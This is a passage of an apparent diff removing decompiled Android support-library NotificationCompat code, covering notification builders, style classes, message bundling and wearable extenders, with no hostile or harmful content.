this.mNotification.audioStreamType = -1; - this.mPriority = 0; - this.mPeople = new ArrayList<>(); - } - - public Builder setWhen(long j) { - this.mNotification.when = j; - return this; - } - - public Builder setShowWhen(boolean z) { - this.mShowWhen = z; - return this; - } - - public Builder setUsesChronometer(boolean z) { - this.mUseChronometer = z; - return this; - } - - public Builder setSmallIcon(int i) { - this.mNotification.icon = i; - return this; - } - - public Builder setSmallIcon(int i, int i2) { - this.mNotification.icon = i; - this.mNotification.iconLevel = i2; - return this; - } - - public Builder setContentTitle(CharSequence charSequence) { - this.mContentTitle = limitCharSequenceLength(charSequence); - return this; - } - - public Builder setContentText(CharSequence charSequence) { - this.mContentText = limitCharSequenceLength(charSequence); - return this; - } - - public Builder setSubText(CharSequence charSequence) { - this.mSubText = limitCharSequenceLength(charSequence); - return this; - } - - public Builder setRemoteInputHistory(CharSequence[] charSequenceArr) { - this.mRemoteInputHistory = charSequenceArr; - return this; - } - - public Builder setNumber(int i) { - this.mNumber = i; - return this; - } - - public Builder setContentInfo(CharSequence charSequence) { - this.mContentInfo = limitCharSequenceLength(charSequence); - return this; - } - - public Builder setProgress(int i, int i2, boolean z) { - this.mProgressMax = i; - this.mProgress = i2; - this.mProgressIndeterminate = z; - return this; - } - - public Builder setContent(RemoteViews remoteViews) { - this.mNotification.contentView = remoteViews; - return this; - } - - public Builder setContentIntent(PendingIntent pendingIntent) { - this.mContentIntent = pendingIntent; - return this; - } - - public Builder setDeleteIntent(PendingIntent pendingIntent) { - this.mNotification.deleteIntent = pendingIntent; - return this; - } - - public Builder setFullScreenIntent(PendingIntent pendingIntent, boolean z) { - this.mFullScreenIntent = pendingIntent; - setFlag(128, z); - return this; - } - - public Builder setTicker(CharSequence charSequence) { - this.mNotification.tickerText = limitCharSequenceLength(charSequence); - return this; - } - - public Builder setTicker(CharSequence charSequence, RemoteViews remoteViews) { - this.mNotification.tickerText = limitCharSequenceLength(charSequence); - this.mTickerView = remoteViews; - return this; - } - - public Builder setLargeIcon(Bitmap bitmap) { - this.mLargeIcon = bitmap; - return this; - } - - public Builder setSound(Uri uri) { - this.mNotification.sound = uri; - this.mNotification.audioStreamType = -1; - return this; - } - - public Builder setSound(Uri uri, int i) { - this.mNotification.sound = uri; - this.mNotification.audioStreamType = i; - return this; - } - - public Builder setVibrate(long[] jArr) { - this.mNotification.vibrate = jArr; - return this; - } - - public Builder setLights(int i, int i2, int i3) { - this.mNotification.ledARGB = i; - this.mNotification.ledOnMS = i2; - this.mNotification.ledOffMS = i3; - int i4 = (this.mNotification.ledOnMS == 0 || this.mNotification.ledOffMS == 0) ? 0 : 1; - Notification notification = this.mNotification; - notification.flags = i4 | (notification.flags & (-2)); - return this; - } - - public Builder setOngoing(boolean z) { - setFlag(2, z); - return this; - } - - public Builder setOnlyAlertOnce(boolean z) { - setFlag(8, z); - return this; - } - - public Builder setAutoCancel(boolean z) { - setFlag(16, z); - return this; - } - - public Builder setLocalOnly(boolean z) { - this.mLocalOnly = z; - return this; - } - - public Builder setCategory(String str) { - this.mCategory = str; - return this; - } - - public Builder setDefaults(int i) { - this.mNotification.defaults = i; - if ((i & 4) != 0) { - this.mNotification.flags |= 1; - } - return this; - } - - private void setFlag(int i, boolean z) { - if (z) { - Notification notification = this.mNotification; - notification.flags = i | notification.flags; - return; - } - Notification notification2 = this.mNotification; - notification2.flags = (~i) & notification2.flags; - } - - public Builder setPriority(int i) { - this.mPriority = i; - return this; - } - - public Builder addPerson(String str) { - this.mPeople.add(str); - return this; - } - - public Builder setGroup(String str) { - this.mGroupKey = str; - return this; - } - - public Builder setGroupSummary(boolean z) { - this.mGroupSummary = z; - return this; - } - - public Builder setSortKey(String str) { - this.mSortKey = str; - return this; - } - - public Builder addExtras(Bundle bundle) { - if (bundle != null) { - Bundle bundle2 = this.mExtras; - if (bundle2 == null) { - this.mExtras = new Bundle(bundle); - } else { - bundle2.putAll(bundle); - } - } - return this; - } - - public Builder setExtras(Bundle bundle) { - this.mExtras = bundle; - return this; - } - - public Bundle getExtras() { - if (this.mExtras == null) { - this.mExtras = new Bundle(); - } - return this.mExtras; - } - - public Builder addAction(int i, CharSequence charSequence, PendingIntent pendingIntent) { - this.mActions.add(new Action(i, charSequence, pendingIntent)); - return this; - } - - public Builder addAction(Action action) { - this.mActions.add(action); - return this; - } - - public Builder setStyle(Style style) { - if (this.mStyle != style) { - this.mStyle = style; - if (style != null) { - style.setBuilder(this); - } - } - return this; - } - - public Builder setColor(int i) { - this.mColor = i; - return this; - } - - public Builder setVisibility(int i) { - this.mVisibility = i; - return this; - } - - public Builder setPublicVersion(Notification notification) { - this.mPublicVersion = notification; - return this; - } - - public Builder setCustomContentView(RemoteViews remoteViews) { - this.mContentView = remoteViews; - return this; - } - - public Builder setCustomBigContentView(RemoteViews remoteViews) { - this.mBigContentView = remoteViews; - return this; - } - - public Builder setCustomHeadsUpContentView(RemoteViews remoteViews) { - this.mHeadsUpContentView = remoteViews; - return this; - } - - public Builder extend(Extender extender) { - extender.extend(this); - return this; - } - - @Deprecated - public Notification getNotification() { - return build(); - } - - public Notification build() { - return NotificationCompat.IMPL.build(this, getExtender()); - } - - protected BuilderExtender getExtender() { - return new BuilderExtender(); - } - - protected static CharSequence limitCharSequenceLength(CharSequence charSequence) { - return (charSequence != null && charSequence.length() > MAX_CHARSEQUENCE_LENGTH) ? charSequence.subSequence(0, MAX_CHARSEQUENCE_LENGTH) : charSequence; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class Style { - CharSequence mBigContentTitle; - Builder mBuilder; - CharSequence mSummaryText; - boolean mSummaryTextSet = false; - - public void addCompatExtras(Bundle bundle) { - } - - protected void restoreFromCompatExtras(Bundle bundle) { - } - - public void setBuilder(Builder builder) { - if (this.mBuilder != builder) { - this.mBuilder = builder; - if (builder != null) { - builder.setStyle(this); - } - } - } - - public Notification build() { - Builder builder = this.mBuilder; - if (builder != null) { - return builder.build(); - } - return null; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class BigPictureStyle extends Style { - Bitmap mBigLargeIcon; - boolean mBigLargeIconSet; - Bitmap mPicture; - - public BigPictureStyle() { - } - - public BigPictureStyle(Builder builder) { - setBuilder(builder); - } - - public BigPictureStyle setBigContentTitle(CharSequence charSequence) { - this.mBigContentTitle = Builder.limitCharSequenceLength(charSequence); - return this; - } - - public BigPictureStyle setSummaryText(CharSequence charSequence) { - this.mSummaryText = Builder.limitCharSequenceLength(charSequence); - this.mSummaryTextSet = true; - return this; - } - - public BigPictureStyle bigPicture(Bitmap bitmap) { - this.mPicture = bitmap; - return this; - } - - public BigPictureStyle bigLargeIcon(Bitmap bitmap) { - this.mBigLargeIcon = bitmap; - this.mBigLargeIconSet = true; - return this; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class BigTextStyle extends Style { - CharSequence mBigText; - - public BigTextStyle() { - } - - public BigTextStyle(Builder builder) { - setBuilder(builder); - } - - public BigTextStyle setBigContentTitle(CharSequence charSequence) { - this.mBigContentTitle = Builder.limitCharSequenceLength(charSequence); - return this; - } - - public BigTextStyle setSummaryText(CharSequence charSequence) { - this.mSummaryText = Builder.limitCharSequenceLength(charSequence); - this.mSummaryTextSet = true; - return this; - } - - public BigTextStyle bigText(CharSequence charSequence) { - this.mBigText = Builder.limitCharSequenceLength(charSequence); - return this; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class MessagingStyle extends Style { - public static final int MAXIMUM_RETAINED_MESSAGES = 25; - CharSequence mConversationTitle; - List mMessages = new ArrayList(); - CharSequence mUserDisplayName; - - MessagingStyle() { - } - - public MessagingStyle(CharSequence charSequence) { - this.mUserDisplayName = charSequence; - } - - public CharSequence getUserDisplayName() { - return this.mUserDisplayName; - } - - public MessagingStyle setConversationTitle(CharSequence charSequence) { - this.mConversationTitle = charSequence; - return this; - } - - public CharSequence getConversationTitle() { - return this.mConversationTitle; - } - - public MessagingStyle addMessage(CharSequence charSequence, long j, CharSequence charSequence2) { - this.mMessages.add(new Message(charSequence, j, charSequence2)); - if (this.mMessages.size() > 25) { - this.mMessages.remove(0); - } - return this; - } - - public MessagingStyle addMessage(Message message) { - this.mMessages.add(message); - if (this.mMessages.size() > 25) { - this.mMessages.remove(0); - } - return this; - } - - public List getMessages() { - return this.mMessages; - } - - public static MessagingStyle extractMessagingStyleFromNotification(Notification notification) { - MessagingStyle messagingStyle; - Bundle extras = NotificationCompat.IMPL.getExtras(notification); - if (extras.containsKey(NotificationCompat.EXTRA_SELF_DISPLAY_NAME)) { - try { - messagingStyle = new MessagingStyle(); - messagingStyle.restoreFromCompatExtras(extras); - } catch (ClassCastException unused) { - return null; - } - } - return messagingStyle; - } - - @Override // android.support.v4.app.NotificationCompat.Style - public void addCompatExtras(Bundle bundle) { - super.addCompatExtras(bundle); - CharSequence charSequence = this.mUserDisplayName; - if (charSequence != null) { - bundle.putCharSequence(NotificationCompat.EXTRA_SELF_DISPLAY_NAME, charSequence); - } - CharSequence charSequence2 = this.mConversationTitle; - if (charSequence2 != null) { - bundle.putCharSequence(NotificationCompat.EXTRA_CONVERSATION_TITLE, charSequence2); - } - if (this.mMessages.isEmpty()) { - return; - } - bundle.putParcelableArray(NotificationCompat.EXTRA_MESSAGES, Message.getBundleArrayForMessages(this.mMessages)); - } - - @Override // android.support.v4.app.NotificationCompat.Style - protected void restoreFromCompatExtras(Bundle bundle) { - this.mMessages.clear(); - this.mUserDisplayName = bundle.getString(NotificationCompat.EXTRA_SELF_DISPLAY_NAME); - this.mConversationTitle = bundle.getString(NotificationCompat.EXTRA_CONVERSATION_TITLE); - Parcelable[] parcelableArray = bundle.getParcelableArray(NotificationCompat.EXTRA_MESSAGES); - if (parcelableArray != null) { - this.mMessages = Message.getMessagesFromBundleArray(parcelableArray); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class Message { - static final String KEY_DATA_MIME_TYPE = "type"; - static final String KEY_DATA_URI = "uri"; - static final String KEY_SENDER = "sender"; - static final String KEY_TEXT = "text"; - static final String KEY_TIMESTAMP = "time"; - private String mDataMimeType; - private Uri mDataUri; - private final CharSequence mSender; - private final CharSequence mText; - private final long mTimestamp; - - public Message(CharSequence charSequence, long j, CharSequence charSequence2) { - this.mText = charSequence; - this.mTimestamp = j; - this.mSender = charSequence2; - } - - public Message setData(String str, Uri uri) { - this.mDataMimeType = str; - this.mDataUri = uri; - return this; - } - - public CharSequence getText() { - return this.mText; - } - - public long getTimestamp() { - return this.mTimestamp; - } - - public CharSequence getSender() { - return this.mSender; - } - - public String getDataMimeType() { - return this.mDataMimeType; - } - - public Uri getDataUri() { - return this.mDataUri; - } - - private Bundle toBundle() { - Bundle bundle = new Bundle(); - CharSequence charSequence = this.mText; - if (charSequence != null) { - bundle.putCharSequence(KEY_TEXT, charSequence); - } - bundle.putLong(KEY_TIMESTAMP, this.mTimestamp); - CharSequence charSequence2 = this.mSender; - if (charSequence2 != null) { - bundle.putCharSequence(KEY_SENDER, charSequence2); - } - String str = this.mDataMimeType; - if (str != null) { - bundle.putString(KEY_DATA_MIME_TYPE, str); - } - Uri uri = this.mDataUri; - if (uri != null) { - bundle.putParcelable(KEY_DATA_URI, uri); - } - return bundle; - } - - static Bundle[] getBundleArrayForMessages(List list) { - Bundle[] bundleArr = new Bundle[list.size()]; - int size = list.size(); - for (int i = 0; i < size; i++) { - bundleArr[i] = list.get(i).toBundle(); - } - return bundleArr; - } - - static List getMessagesFromBundleArray(Parcelable[] parcelableArr) { - Message messageFromBundle; - ArrayList arrayList = new ArrayList(parcelableArr.length); - for (Parcelable parcelable : parcelableArr) { - if ((parcelable instanceof Bundle) && (messageFromBundle = getMessageFromBundle((Bundle) parcelable)) != null) { - arrayList.add(messageFromBundle); - } - } - return arrayList; - } - - static Message getMessageFromBundle(Bundle bundle) { - try { - if (bundle.containsKey(KEY_TEXT) && bundle.containsKey(KEY_TIMESTAMP)) { - Message message = new Message(bundle.getCharSequence(KEY_TEXT), bundle.getLong(KEY_TIMESTAMP), bundle.getCharSequence(KEY_SENDER)); - if (bundle.containsKey(KEY_DATA_MIME_TYPE) && bundle.containsKey(KEY_DATA_URI)) { - message.setData(bundle.getString(KEY_DATA_MIME_TYPE), (Uri) bundle.getParcelable(KEY_DATA_URI)); - } - return message; - } - } catch (ClassCastException unused) { - } - return null; - } - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class InboxStyle extends Style { - ArrayList mTexts = new ArrayList<>(); - - public InboxStyle() { - } - - public InboxStyle(Builder builder) { - setBuilder(builder); - } - - public InboxStyle setBigContentTitle(CharSequence charSequence) { - this.mBigContentTitle = Builder.limitCharSequenceLength(charSequence); - return this; - } - - public InboxStyle setSummaryText(CharSequence charSequence) { - this.mSummaryText = Builder.limitCharSequenceLength(charSequence); - this.mSummaryTextSet = true; - return this; - } - - public InboxStyle addLine(CharSequence charSequence) { - this.mTexts.add(Builder.limitCharSequenceLength(charSequence)); - return this; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class Action extends NotificationCompatBase.Action { - public static final NotificationCompatBase.Action.Factory FACTORY = new NotificationCompatBase.Action.Factory() { // from class: android.support.v4.app.NotificationCompat.Action.1 - @Override // android.support.v4.app.NotificationCompatBase.Action.Factory - public NotificationCompatBase.Action build(int i, CharSequence charSequence, PendingIntent pendingIntent, Bundle bundle, RemoteInputCompatBase.RemoteInput[] remoteInputArr, boolean z) { - return new Action(i, charSequence, pendingIntent, bundle, (RemoteInput[]) remoteInputArr, z); - } - - @Override // android.support.v4.app.NotificationCompatBase.Action.Factory - public Action[] newArray(int i) { - return new Action[i]; - } - }; - public PendingIntent actionIntent; - public int icon; - private boolean mAllowGeneratedReplies; - final Bundle mExtras; - private final RemoteInput[] mRemoteInputs; - public CharSequence title; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface Extender { - Builder extend(Builder builder); - } - - public Action(int i, CharSequence charSequence, PendingIntent pendingIntent) { - this(i, charSequence, pendingIntent, new Bundle(), null, false); - } - - Action(int i, CharSequence charSequence, PendingIntent pendingIntent, Bundle bundle, RemoteInput[] remoteInputArr, boolean z) { - this.mAllowGeneratedReplies = false; - this.icon = i; - this.title = Builder.limitCharSequenceLength(charSequence); - this.actionIntent = pendingIntent; - this.mExtras = bundle == null ? new Bundle() : bundle; - this.mRemoteInputs = remoteInputArr; - this.mAllowGeneratedReplies = z; - } - - @Override // android.support.v4.app.NotificationCompatBase.Action - public int getIcon() { - return this.icon; - } - - @Override // android.support.v4.app.NotificationCompatBase.Action - public CharSequence getTitle() { - return this.title; - } - - @Override // android.support.v4.app.NotificationCompatBase.Action - public PendingIntent getActionIntent() { - return this.actionIntent; - } - - @Override // android.support.v4.app.NotificationCompatBase.Action - public Bundle getExtras() { - return this.mExtras; - } - - @Override // android.support.v4.app.NotificationCompatBase.Action - public boolean getAllowGeneratedReplies() { - return this.mAllowGeneratedReplies; - } - - @Override // android.support.v4.app.NotificationCompatBase.Action - public RemoteInput[] getRemoteInputs() { - return this.mRemoteInputs; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class Builder { - private boolean mAllowGeneratedReplies; - private final Bundle mExtras; - private final int mIcon; - private final PendingIntent mIntent; - private ArrayList mRemoteInputs; - private final CharSequence mTitle; - - public Builder(int i, CharSequence charSequence, PendingIntent pendingIntent) { - this(i, charSequence, pendingIntent, new Bundle()); - } - - public Builder(Action action) { - this(action.icon, action.title, action.actionIntent, new Bundle(action.mExtras)); - } - - private Builder(int i, CharSequence charSequence, PendingIntent pendingIntent, Bundle bundle) { - this.mIcon = i; - this.mTitle = Builder.limitCharSequenceLength(charSequence); - this.mIntent = pendingIntent; - this.mExtras = bundle; - } - - public Builder addExtras(Bundle bundle) { - if (bundle != null) { - this.mExtras.putAll(bundle); - } - return this; - } - - public Bundle getExtras() { - return this.mExtras; - } - - public Builder addRemoteInput(RemoteInput remoteInput) { - if (this.mRemoteInputs == null) { - this.mRemoteInputs = new ArrayList<>(); - } - this.mRemoteInputs.add(remoteInput); - return this; - } - - public Builder setAllowGeneratedReplies(boolean z) { - this.mAllowGeneratedReplies = z; - return this; - } - - public Builder extend(Extender extender) { - extender.extend(this); - return this; - } - - public Action build() { - ArrayList arrayList = this.mRemoteInputs; - return new Action(this.mIcon, this.mTitle, this.mIntent, this.mExtras, arrayList != null ? (RemoteInput[]) arrayList.toArray(new RemoteInput[arrayList.size()]) : null, this.mAllowGeneratedReplies); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class WearableExtender implements Extender { - private static final int DEFAULT_FLAGS = 1; - private static final String EXTRA_WEARABLE_EXTENSIONS = "android.wearable.EXTENSIONS"; - private static final int FLAG_AVAILABLE_OFFLINE = 1; - private static final int FLAG_HINT_DISPLAY_INLINE = 4; - private static final int FLAG_HINT_LAUNCHES_ACTIVITY = 2; - private static final String KEY_CANCEL_LABEL = "cancelLabel"; - private static final String KEY_CONFIRM_LABEL = "confirmLabel"; - private static final String KEY_FLAGS = "flags"; - private static final String KEY_IN_PROGRESS_LABEL = "inProgressLabel"; - private CharSequence mCancelLabel; - private CharSequence mConfirmLabel; - private int mFlags; - private CharSequence mInProgressLabel; - - public WearableExtender() { - this.mFlags = 1; - } - - public WearableExtender(Action action) { - this.mFlags = 1; - Bundle bundle = action.getExtras().getBundle(EXTRA_WEARABLE_EXTENSIONS); - if (bundle != null) { - this.mFlags = bundle.getInt(KEY_FLAGS, 1); - this.mInProgressLabel = bundle.getCharSequence(KEY_IN_PROGRESS_LABEL); - this.mConfirmLabel = bundle.getCharSequence(KEY_CONFIRM_LABEL); - this.mCancelLabel = bundle.getCharSequence(KEY_CANCEL_LABEL); - } - } - - @Override // android.support.v4.app.NotificationCompat.Action.Extender - public Builder extend(Builder builder) { - Bundle bundle = new Bundle(); - int i = this.mFlags; - if (i != 1) { - bundle.putInt(KEY_FLAGS, i); - } - CharSequence charSequence = this.mInProgressLabel; - if (charSequence != null) { - bundle.putCharSequence(KEY_IN_PROGRESS_LABEL, charSequence); - } - CharSequence charSequence2 = this.mConfirmLabel; - if (charSequence2 != null) { - bundle.putCharSequence(KEY_CONFIRM_LABEL, charSequence2); - } - CharSequence charSequence3 = this.mCancelLabel; - if (charSequence3 != null) { - bundle.putCharSequence(KEY_CANCEL_LABEL, charSequence3); - } - builder.getExtras().putBundle(EXTRA_WEARABLE_EXTENSIONS, bundle); - return builder; - } - - /* renamed from: clone */ - public WearableExtender m0clone() { - WearableExtender wearableExtender = new WearableExtender(); - wearableExtender.mFlags = this.mFlags; - wearableExtender.mInProgressLabel = this.mInProgressLabel; - wearableExtender.mConfirmLabel = this.mConfirmLabel; - wearableExtender.mCancelLabel = this.mCancelLabel; - return wearableExtender; - } - - public WearableExtender setAvailableOffline(boolean z) { - setFlag(1, z); - return this; - } - - public boolean isAvailableOffline() { - return (this.mFlags & 1) != 0; - } - - private void setFlag(int i, boolean z) { - if (z) { - this.mFlags = i | this.mFlags; - return; - } - this.mFlags = (~i) & this.mFlags; - } - - public WearableExtender setInProgressLabel(CharSequence charSequence) { - this.mInProgressLabel = charSequence; - return this; - } - - public CharSequence getInProgressLabel() { - return this.mInProgressLabel; - } - - public WearableExtender setConfirmLabel(CharSequence charSequence) { - this.mConfirmLabel = charSequence; - return this; - } - - public CharSequence getConfirmLabel() { - return this.mConfirmLabel; - } - - public WearableExtender setCancelLabel(CharSequence charSequence) { - this.mCancelLabel = charSequence; - return this; - } - - public CharSequence getCancelLabel() { - return this.mCancelLabel; - } - - public WearableExtender setHintLaunchesActivity(boolean z) { - setFlag(2, z); - return this; - } - - public boolean getHintLaunchesActivity() { - return (this.mFlags & 2) != 0; - } - - public WearableExtender setHintDisplayActionInline(boolean z) { - setFlag(4, z); - return this; - } - - public boolean getHintDisplayActionInline() { - return (this.mFlags & 4) != 0; - } - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class WearableExtender implements Extender { - private static final int DEFAULT_CONTENT_ICON_GRAVITY = 8388613; - private static final int DEFAULT_FLAGS = 1; - private static final int DEFAULT_GRAVITY = 80; - private static final String EXTRA_WEARABLE_EXTENSIONS = "android.wearable.EXTENSIONS"; - private static final int FLAG_BIG_PICTURE_AMBIENT = 32; - private static final int FLAG_CONTENT_INTENT_AVAILABLE_OFFLINE = 1; - private static final int FLAG_HINT_AVOID_BACKGROUND_CLIPPING = 16; - private static final int FLAG_HINT_CONTENT_INTENT_LAUNCHES_ACTIVITY = 64; - private static final int FLAG_HINT_HIDE_ICON = 2; - private static final int FLAG_HINT_SHOW_BACKGROUND_ONLY = 4; - private static final int FLAG_START_SCROLL_BOTTOM = 8; - private static final String KEY_ACTIONS = "actions"; - private static final String KEY_BACKGROUND = "background"; - private static final String KEY_CONTENT_ACTION_INDEX = "contentActionIndex"; - private static final String KEY_CONTENT_ICON = "contentIcon"; - private static final String KEY_CONTENT_ICON_GRAVITY = "contentIconGravity"; - private static final String KEY_CUSTOM_CONTENT_HEIGHT = "customContentHeight"; - private static final String KEY_CUSTOM_SIZE_PRESET = "customSizePreset"; - private static final String KEY_DISMISSAL_ID = "dismissalId"; - private static final String KEY_DISPLAY_INTENT = "displayIntent"; - private static final String KEY_FLAGS = "flags"; - private static final String KEY_GRAVITY = "gravity"; - private static final String KEY_HINT_SCREEN_TIMEOUT = "hintScreenTimeout"; - private static final String KEY_PAGES = "pages"; - public static final int SCREEN_TIMEOUT_LONG = -1; - public static final int SCREEN_TIMEOUT_SHORT = 0; - public static final int SIZE_DEFAULT = 0; - public static final int SIZE_FULL_SCREEN = 5; - public static final int SIZE_LARGE = 4; - public static final int SIZE_MEDIUM = 3; - public static final int SIZE_SMALL = 2; - public static final int SIZE_XSMALL = 1; - public static final int UNSET_ACTION_INDEX = -1; - private ArrayList mActions; - private Bitmap mBackground; - private int mContentActionIndex; - private int mContentIcon; - private int mContentIconGravity; - private int mCustomContentHeight; - private int mCustomSizePreset; - private String mDismissalId; - private PendingIntent mDisplayIntent; - private int mFlags; - private int mGravity; - private int mHintScreenTimeout; - private ArrayList mPages; - - public WearableExtender() { - this.mActions = new ArrayList<>(); - this.mFlags = 1; - this.mPages = new ArrayList<>(); - this.mContentIconGravity = 8388613; - this.mContentActionIndex = -1; - this.mCustomSizePreset = 0; - this.mGravity = DEFAULT_GRAVITY; - } - - public WearableExtender(Notification notification) { - this.mActions = new ArrayList<>(); - this.mFlags = 1; - this.mPages = new ArrayList<>(); - this.mContentIconGravity = 8388613; - this.mContentActionIndex = -1; - this.mCustomSizePreset = 0; - this.mGravity = DEFAULT_GRAVITY; - Bundle extras = NotificationCompat.getExtras(notification); - Bundle bundle = extras != null ? extras.getBundle(EXTRA_WEARABLE_EXTENSIONS) : null; - if (bundle != null) { - Action[] actionsFromParcelableArrayList = NotificationCompat.IMPL.getActionsFromParcelableArrayList(bundle.getParcelableArrayList(KEY_ACTIONS)); - if (actionsFromParcelableArrayList != null) { - Collections.addAll(this.mActions, actionsFromParcelableArrayList); - } - this.mFlags = bundle.getInt(KEY_FLAGS, 1); - this.mDisplayIntent = (PendingIntent) bundle.getParcelable(KEY_DISPLAY_INTENT); - Notification[] notificationArrayFromBundle = NotificationCompat.getNotificationArrayFromBundle(bundle, KEY_PAGES); - if (notificationArrayFromBundle != null) { - Collections.addAll(this.mPages, notificationArrayFromBundle); - } - this.mBackground = (Bitmap) bundle.getParcelable(KEY_BACKGROUND); - this.mContentIcon = bundle.getInt(KEY_CONTENT_ICON); - this.mContentIconGravity = bundle.getInt(KEY_CONTENT_ICON_GRAVITY, 8388613); - this.mContentActionIndex = bundle.getInt(KEY_CONTENT_ACTION_INDEX, -1); - this.mCustomSizePreset = bundle.getInt(KEY_CUSTOM_SIZE_PRESET, 0); - this.mCustomContentHeight = bundle.getInt(KEY_CUSTOM_CONTENT_HEIGHT); - this.mGravity = bundle.getInt(KEY_GRAVITY, DEFAULT_GRAVITY); - this.mHintScreenTimeout = bundle.getInt(KEY_HINT_SCREEN_TIMEOUT); - this.mDismissalId = bundle.getString(KEY_DISMISSAL_ID); - } - } - - @Override // android.support.v4.app.NotificationCompat.Extender - public Builder extend(Builder builder) { - Bundle bundle = new Bundle(); - if (!this.mActions.isEmpty()) { - NotificationCompatImpl notificationCompatImpl = NotificationCompat.IMPL; - ArrayList arrayList = this.mActions; - bundle.putParcelableArrayList(KEY_ACTIONS, notificationCompatImpl.getParcelableArrayListForActions((Action[]) arrayList.toArray(new Action[arrayList.size()]))); - } - int i = this.mFlags; - if (i != 1) { - bundle.putInt(KEY_FLAGS, i); - } - PendingIntent pendingIntent = this.mDisplayIntent; - if (pendingIntent != null) { - bundle.putParcelable(KEY_DISPLAY_INTENT, pendingIntent); - } - if (!this.mPages.isEmpty()) { - ArrayList arrayList2 = this.mPages; - bundle.putParcelableArray(KEY_PAGES, (Parcelable[]) arrayList2.toArray(new Notification[arrayList2.size()])); - } - Bitmap bitmap = this.mBackground; - if (bitmap != null) { - bundle.putParcelable(KEY_BACKGROUND, bitmap); - } - int i2 = this.mContentIcon; - if (i2 != 0) { - bundle.putInt(KEY_CONTENT_ICON, i2); - } - int i3 = this.mContentIconGravity; - if (i3 != 8388613) { - bundle.putInt(KEY_CONTENT_ICON_GRAVITY, i3); - } - int i4 = this.mContentActionIndex; - if (i4 != -1) { - bundle.putInt(KEY_CONTENT_ACTION_INDEX, i4); - } - int i5 = this.mCustomSizePreset; - if (i5 != 0) { - bundle.putInt(KEY_CUSTOM_SIZE_PRESET, i5); - } - int i6 = this.mCustomContentHeight; - if (i6 != 0) { - bundle.putInt(KEY_CUSTOM_CONTENT_HEIGHT, i6); - } - int i7 = this.mGravity; - if (i7 != DEFAULT_GRAVITY) { - bundle.putInt(KEY_GRAVITY, i7); - } - int i8 = this.mHintScreenTimeout; - if (i8 != 0) { - bundle.putInt(KEY_HINT_SCREEN_TIMEOUT, i8); - } - String str = this.mDismissalId; - if (str != null) { - bundle.putString(KEY_DISMISSAL_ID, str); - } - builder.getExtras().putBundle(EXTRA_WEARABLE_EXTENSIONS, bundle); - return builder; - } - - /* renamed from: clone */ - public WearableExtender m1clone() { - WearableExtender wearableExtender = new WearableExtender(); - wearableExtender.mActions = new ArrayList<>(this.mActions); - wearableExtender.mFlags = this.mFlags; - wearableExtender.mDisplayIntent = this.mDisplayIntent; - wearableExtender.mPages = new ArrayList<>(this.mPages); - wearableExtender.mBackground = this.mBackground; - wearableExtender.mContentIcon = this.mContentIcon; - wearableExtender.mContentIconGravity = this.mContentIconGravity; - wearableExtender.mContentActionIndex = this.mContentActionIndex; - wearableExtender.mCustomSizePreset = this.mCustomSizePreset; - wearableExtender.mCustomContentHeight = this.mCustomContentHeight; - wearableExtender.mGravity = this.mGravity; - wearableExtender.mHintScreenTimeout = this.mHintScreenTimeout; - wearableExtender.mDismissalId = this.mDismissalId; - return wearableExtender; - } - - public WearableExtender addAction(Action action) { - this.mActions.add(action); - return this; - } - - public WearableExtender addActions(List list) { - this.mActions.addAll(list); - return this; - } - - public WearableExtender clearActions() { - this.mActions.clear(); - return this; - } - - public List getActions() { - return this.mActions; - } - - public WearableExtender setDisplayIntent(PendingIntent pendingIntent) { - this.mDisplayIntent = pendingIntent; - return this; - } - - public PendingIntent getDisplayIntent() { - return this.mDisplayIntent; - } - - public WearableExtender addPage(Notification notification) { - this.mPages.add(notification); - return this; - } - - public WearableExtender addPages(List list) { - this.mPages.addAll(list); - return this; - } - - public WearableExtender clearPages() { - this.mPages.clear(); - return this; - } - - public List getPages() { - return this.mPages; - } - - public WearableExtender setBackground(Bitmap bitmap) { - this.mBackground = bitmap; - return this; - } - - public Bitmap getBackground() { - return this.mBackground; - } - - public WearableExtender setContentIcon(int i) { - this.mContentIcon = i; - return this; - } - - public int getContentIcon() { - return this.mContentIcon; - } - - public WearableExtender setContentIconGravity(int i) { - this.mContentIconGravity = i; - return this; - } - - public int getContentIconGravity() { - return this.mContentIconGravity; - } - - public WearableExtender setContentAction(int i) { - this.mContentActionIndex = i; - return this; - } - - public int getContentAction() { - return this.mContentActionIndex; - } - - public WearableExtender setGravity(int i) { - this.mGravity = i; - return this; - } - - public int getGravity() { - return this.mGravity; - } - - public WearableExtender setCustomSizePreset(int i) { - this.mCustomSizePreset = i; - return this; - } - - public int getCustomSizePreset() { - return this.mCustomSizePreset; - } - - public WearableExtender setCustomContentHeight(int i) { - this.mCustomContentHeight = i; - return this; - } - - public int getCustomContentHeight() { - return this.mCustomContentHeight; - } - - public WearableExtender setStartScrollBottom(boolean z) { - setFlag(8, z); - return this; - } - - public boolean getStartScrollBottom() { - return (this.mFlags & 8) != 0; - } - - public WearableExtender setContentIntentAvailableOffline(boolean z) { - setFlag(1, z); - return this; - } - - public boolean getContentIntentAvailableOffline() { - return (this.mFlags & 1) != 0; - } - - public WearableExtender setHintHideIcon(boolean z) { - setFlag(2, z); - return this; - } - - public boolean getHintHideIcon() { - return (this.mFlags & 2) != 0; - } - - public WearableExtender setHintShowBackgroundOnly(boolean z) { - setFlag(4, z); - return this; - } - - public boolean getHintShowBackgroundOnly() { - return (this.mFlags & 4) != 0; - } - - public WearableExtender setHintAvoidBackgroundClipping(boolean z) { - setFlag(16, z); - return this; - } - - public boolean getHintAvoidBackgroundClipping() { - return (this.mFlags & 16) != 0; - } - - public WearableExtender setHintScreenTimeout(int i) { - this.mHintScreenTimeout = i; - return this; - } - - public int getHintScreenTimeout() { - return this.mHintScreenTimeout; - } - - public WearableExtender setHintAmbientBigPicture(boolean z) { - setFlag(32, z); - return this; - } - - public boolean getHintAmbientBigPicture() { - return (this.mFlags & 32) != 0; - } - - public WearableExtender 